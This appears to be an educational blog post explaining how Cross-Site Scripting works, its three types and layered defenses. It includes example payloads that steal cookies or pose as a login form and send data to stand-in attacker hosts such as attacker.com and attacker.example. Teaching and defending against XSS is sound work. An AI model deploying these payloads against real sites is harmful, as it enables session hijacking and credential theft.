How does Cross-Site Scripting (XSS) work?

Cross-Site Scripting — XSS for short — is one of those vulnerabilities that looks innocent on the surface (a little script tag here, a user input there) but quietly hands attackers the keys to a user’s browser. In this blog I’ll explain, in plain human terms, what XSS is, how it works, the common flavors, real-world attack steps, payload examples, why it’s so dangerous, how to find it, and how to defend against it. Short paragraphs, concrete examples, and practical fixes — that’s the promise.

The core idea — what XSS really is

At its simplest, XSS happens when an application displays data that came from an untrusted source (a user, a third-party feed, a URL param) back to other users without making the content safe first. If that data can include HTML or JavaScript, an attacker can make the victim’s browser run code the attacker wrote.

Browsers execute JavaScript. That’s a powerful feature for building interactive apps, but it’s also a vector. If an attacker succeeds in getting a victim’s browser to run attacker-supplied JavaScript inside the context of your site, the attacker can do a lot: steal cookies, capture keystrokes, perform actions on behalf of the victim, redirect them, show fake UI, or even persist further malware.

XSS is not a server-side code injection like SQLi. It’s a browser-side problem caused by the mixing of data (user input) and code (HTML/JS) without proper separation.

Why developers accidentally create XSS

Developers often trust user input unintentionally. They show a username, comment, or search query back on a page. They paste HTML into templates, or they set innerHTML in client code. Without sanitization and proper encoding, that trust turns into an attack surface.

Modern frameworks help, but mistakes still happen: custom rendering logic, third-party widgets, rich text editors, dynamic DOM manipulation, and unsafe libraries all create opportunities. The simplest risky pattern is: take something from the user → write it back into the page as HTML → done.

The three main flavors of XSS (short and practical)

Security folk usually categorize XSS into three types. Each has different mechanics and defenses.

1) Reflected XSS (a.k.a. non-persistent)

This happens when the server includes user input in a page response immediately — for example, an error message or a search results page that echoes the query. The attack commonly uses a crafted link. The attacker sends the victim a URL that contains malicious JavaScript inside a parameter; when the victim clicks it, the server reflects that parameter into the HTML and the script runs.

Example flow:

  1. Attacker crafts: https://example.com/search?q=<script>steal()</script>
  2. Victim clicks it.
  3. Server responds with a page that includes q unsafely in the HTML.
  4. Browser executes steal() in the site’s origin.

Often used in phishing: the link looks legitimate but contains a payload.

2) Stored XSS (persistent)

Here the malicious payload is stored on the server — in a database, comment, forum post, profile field, etc. Any user viewing the affected content will execute the payload. This is more dangerous because the attacker doesn’t need to trick every victim into clicking a crafted URL; they just plant the payload once.

Example flow:

  1. Attacker posts a comment: <script>sendCookiesTo('attacker.com')</script>
  2. Comment is saved and later rendered to other users without sanitization.
  3. Every viewer’s browser runs the script.

3) DOM-based XSS (client-side)

This occurs entirely in the browser when client-side JavaScript uses untrusted data to modify the DOM in an unsafe way. The server may not be involved at all. For example, a script reads location.hash or location.search and uses it with innerHTML or eval().

Example flow:

  1. Page JavaScript reads window.location.hash.
  2. It writes that value into the page using element.innerHTML = hash.
  3. If the hash contains </script><script>..., the injected script executes.

How a real attack looks — step by step

Let’s walk through a simple, concrete reflected XSS attack to make it feel real.

  1. Recon and find an echo point. The attacker discovers that https://example.com/welcome?name=... shows name on the page: “Welcome, [name]!” and the value is not escaped.
  2. Craft a payload. The attacker constructs ?name=<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>.
  3. Build a phishing URL. The attacker shortens the link or hides it in a button in an email.
  4. Victim clicks the URL. The HTTP request reaches example.com with the malicious name parameter.
  5. Server reflects the input. The server returns a page with the name inserted into HTML.
  6. Browser executes the injected script. The script runs under example.com origin.
  7. Attacker receives data. The script sends cookies, tokens, or other sensitive data to attacker.com.

After that, the attacker might use stolen cookies to impersonate the user, perform actions, or chain further exploits.

Payload types and attacker goals

Attackers usually have one or more goals. The payload they use depends on the goal.

  • Session theft / account takeover. Payloads read document.cookie and send it to the attacker. If the app stores session IDs in cookies and the cookie isn’t marked HttpOnly, this can allow account hijacking.
  • Credential harvesting. Show a fake login form and capture credentials typed by the user.
  • CSRF chaining. Use the victim’s authenticated state to perform actions (post content, change settings, transfer funds).
  • Keylogging / data exfiltration. Capture keystrokes or form data on sensitive pages.
  • Drive-by malware. Replace parts of the page with a script that redirects to exploit kits (less common now).
  • Pivoting / persistence. Write a persistent backdoor in a user profile or store malicious content in other parts of the app.

Example payloads (educational)

Here are simple demonstration payloads. Never use them against systems you don’t own or have permission to test.

Steal cookies (if cookies are accessible):

<script>
  new Image().src = "https://attacker.example/collect?c=" + encodeURIComponent(document.cookie);
</script>

Fake login UI:

<script>
  var f = document.createElement('form');
  f.action = 'https://attacker.example/submit';
  f.method = 'POST';
  f.innerHTML = '<input name="user"><input name="pass">';
  document.body.innerHTML = '<h1>Session expired — please login</h1>';
  document.body.appendChild(f);
</script>

Simple DOM payload via location.hash:

// vulnerable code in page:
document.querySelector('#content').innerHTML = location.hash.substring(1);

// attack URL: https://example.com/page#<img src=x onerror=alert(1)>

These show how tiny pieces of code can cause big trouble.

Why HttpOnly and SameSite aren’t a full fix

Marking cookies HttpOnly prevents JavaScript from reading them, which mitigates some XSS impacts (e.g., stealing session cookies via document.cookie). But it does not stop scripts from performing actions using the victim’s authentication (since browsers still send cookies with requests). So an attacker can still perform transactions or change account state if the app is vulnerable.

SameSite cookie attributes and CSRF protections help reduce certain attack vectors but are complementary defenses — not replacements for proper XSS mitigation.

The attacker’s toolbox: how they find XSS

Attackers (and security testers) use several techniques:

  • Fuzzing and automated scanners. Tools that inject payloads into many inputs and look for reflected/returned scripts.
  • Manual testing. Looking for places inputs are echoed: search boxes, profile fields, error messages, file names, admin tools.
  • DOM inspection. Using browser DevTools to see where client-side scripts use innerHTML, document.write, eval, setTimeout(string), or new Function(...).
  • Payload mutation. Trying different encodings: HTML entities, URL encoding, CSS injection, event handlers like onerror.
  • Third-party content. Widgets and plugins are checked because they sometimes introduce XSS in your origin.

Good pentesters combine tools and manual intuition to find blind spots.

Why XSS remains common

There are several human and technical reasons:

  • Complex rendering logic. Modern apps mix server and client templates, APIs, single-page apps, and third-party widgets — it’s easy to miss an unescaped output.
  • Rich text / HTML editors. Allowing HTML in posts invites risk if sanitization is insufficient.
  • Legacy code. Old codebases use outdated libraries or patterns like innerHTML = input.
  • Performance or UX shortcuts. Developers sometimes bypass safe APIs to get UI working quickly.
  • Lack of security awareness. Developers may not fully understand how contexts differ (HTML vs attribute vs JS vs URL vs CSS) and how encoding should vary by context.

Context matters — encoding vs sanitization vs escaping

A foundational principle: treat untrusted input as data, not code. How you make it safe depends on context.

  • Output encoding / escaping is the primary defense. Encode special characters so the browser treats them as data. The exact encoding depends on where you’re inserting the data:
    • HTML body: escape <, >, &, " and '.
    • HTML attribute: additionally escape quotes; prefer using single/double consistently.
    • JavaScript context: JSON-encode or use safe template bindings; don’t directly inject into inline scripts.
    • URL context: use encodeURIComponent.
    • CSS context: escape according to CSS rules.
  • Sanitization means removing or transforming dangerous constructs, often used for rich text (allow some tags but strip scripts). Libraries like DOMPurify (client-side) and established server-side sanitizers can help. But sanitization is hard and must be maintained.
  • Validation is about ensuring input meets expectations (e.g., numeric, email). Validation alone is not enough; it should be combined with output encoding.
  • Use safe APIs. For example, when updating DOM, prefer textContent or innerText over innerHTML unless you explicitly sanitize the HTML.

Secure patterns for different platforms

  • Server-side templating frameworks (Django, Rails, Express with template engines): most provide automatic escaping in templates. Use built-in template variables (not raw HTML), and only mark content as safe when you’re absolutely sure.
  • Client-side frameworks (React, Vue, Angular): React escapes strings inserted into JSX by default — avoid dangerouslySetInnerHTML unless necessary and sanitize inputs. Vue’s templating also escapes by default (use v-html carefully). Angular has built-in sanitization when using specific bindings.
  • APIs / JSON endpoints: Don’t assume clients will render safely. API responses should be data-only and clients should handle rendering with proper escaping.
  • Rich text editors: Use a sanitizer to strip scripts and dangerous attributes. Prefer to store sanitized HTML or a structured safe format (e.g., markdown transformed to sanitized HTML on the server).

Content Security Policy (CSP) — strong second line of defense

CSP is a browser mechanism that restricts which sources can provide scripts, styles, images, etc. A well-configured CSP can block inline scripts, remote scripts from unauthorized domains, and more.

Benefits:

  • Prevents many injected inline script attacks if you disallow unsafe-inline.
  • Allows whitelisting trusted script sources.
  • Nonces (short, per-request tokens) let you permit specific inline scripts safely.

Limitations:

  • Older browsers may ignore CSP.
  • Misconfiguration (whitelisting too much) reduces effectiveness.
  • CSP complements but does not replace output encoding and secure coding.

Other practical defenses

  • HttpOnly cookies. Prevent JS from reading cookies. Helps against cookie theft.
  • SameSite cookies. Reduce CSRF risk; helps contain some attack chains.
  • Escape late. Encode output as close to the final rendering context as possible.
  • Avoid inline JavaScript and CSS. Inline code is hard to protect with CSP unless you use nonces properly.
  • Use modern frameworks properly. Understand and apply default escaping. Avoid raw insertion helpers unless sanitized.
  • Sanitize uploads and filenames. Even file names shown on pages must be escaped.
  • Least privilege for third-party scripts. Treat any third-party script as untrusted — it runs in your origin.
  • Regular dependency updates. Vulnerable libraries sometimes allow XSS bypasses.
  • WAFs and runtime protections. Web Application Firewalls can block common payloads but can’t be the only defense.

Testing for XSS (ethical guidance)

If you’re testing your own systems or running a permitted pentest:

  • Start with automated scanners, but always follow up manually.
  • Test all input vectors: forms, headers, cookie values, file names, JSON endpoints.
  • Test different contexts: HTML body, attributes, scripts, CSS, URLs, event handlers.
  • Inspect DOM for dynamic insertion points where client code writes unsafely.
  • Use browser DevTools to manipulate page JS and simulate payloads.
  • When reporting, provide reproducible steps, payload, affected users, and potential impact.

If you discover XSS in someone else’s app, follow responsible disclosure procedures — don’t exploit it.

Common developer pitfalls (short list)

  • Using innerHTML or outerHTML with untrusted input.
  • Calling eval() on strings or using setTimeout(string).
  • Trusting client-side sanitization only — always re-sanitize on the server if stored.
  • Allowing user-submitted HTML without a strict sanitizer.
  • Relying solely on WAFs or CSP as the only defense.
  • Forgetting to escape contents inside attributes, inline scripts, URLs, or CSS.

Realistic impact scenarios

A single XSS vulnerability in a popular web app can lead to:

  • Mass account hijacking. If attackers can steal session data or perform actions, they can take over many accounts.
  • Monetary loss. Combined with CSRF-like actions, attackers might transfer funds or alter payment settings.
  • Brand damage and user mistrust. Users shown fake login screens or redirected to scams will lose trust.
  • Data leaks. Sensitive information from a user’s session or profile can be exfiltrated.
  • Supply-chain attacks. Compromise a site with many users and inject malicious scripts delivered to all users (e.g., advertising networks).

Putting it all together — a defense checklist

For devs and security teams, this checklist helps reduce XSS risk:

  1. Use automatic escaping in templates. Don’t disable it.
  2. Escape output according to context. HTML, attribute, JS, URL, CSS all differ.
  3. Avoid innerHTML and eval. Use safe alternatives.
  4. Sanitize rich text with trusted libraries. Keep allowlists minimal.
  5. Mark cookies HttpOnly & SameSite.
  6. Use CSP with nonces and a strict policy. Monitor CSP violations.
  7. Audit third-party scripts and limit their privileges.
  8. Run SAST/DAST and manual pentests regularly.
  9. Educate developers about contexts and encoding rules.
  10. Keep dependencies updated.

Troubleshooting common XSS scenarios

  • If user input is required to include HTML (e.g., blog editor): store a safe representation (Markdown or sanitized HTML). Use server-side sanitization with a maintained library. Restrict allowed tags and attributes. Disallow on* event attributes and javascript: URLs.
  • If a widget needs to render user HTML client-side: sanitize on both server and client. Prefer server-side sanitization so the stored data is safe across all renderers.
  • If you need dynamic HTML insertion: prefer createElement and set textContent. If you must insert HTML, sanitize it first.

Final thoughts — XSS as a mindset

Fixing XSS isn’t a one-time task. It’s a mindset: treat every piece of data that crosses boundaries as potentially hostile. Think in terms of contextual output encoding rather than ad hoc filtering. Use modern frameworks correctly, apply defense-in-depth (escape, sanitize, CSP, secure cookies), and make security part of the development lifecycle.

XSS is deceptively simple to explain but deceptively tricky in real apps with many moving parts. With careful design and consistent practices, you can dramatically reduce risk. If you’re building or maintaining a web app, prioritize output encoding and adopt a strict Content Security Policy — your users and your future self will thank you.

Leave a Reply

Your email address will not be published. Required fields are marked *

en_USEnglish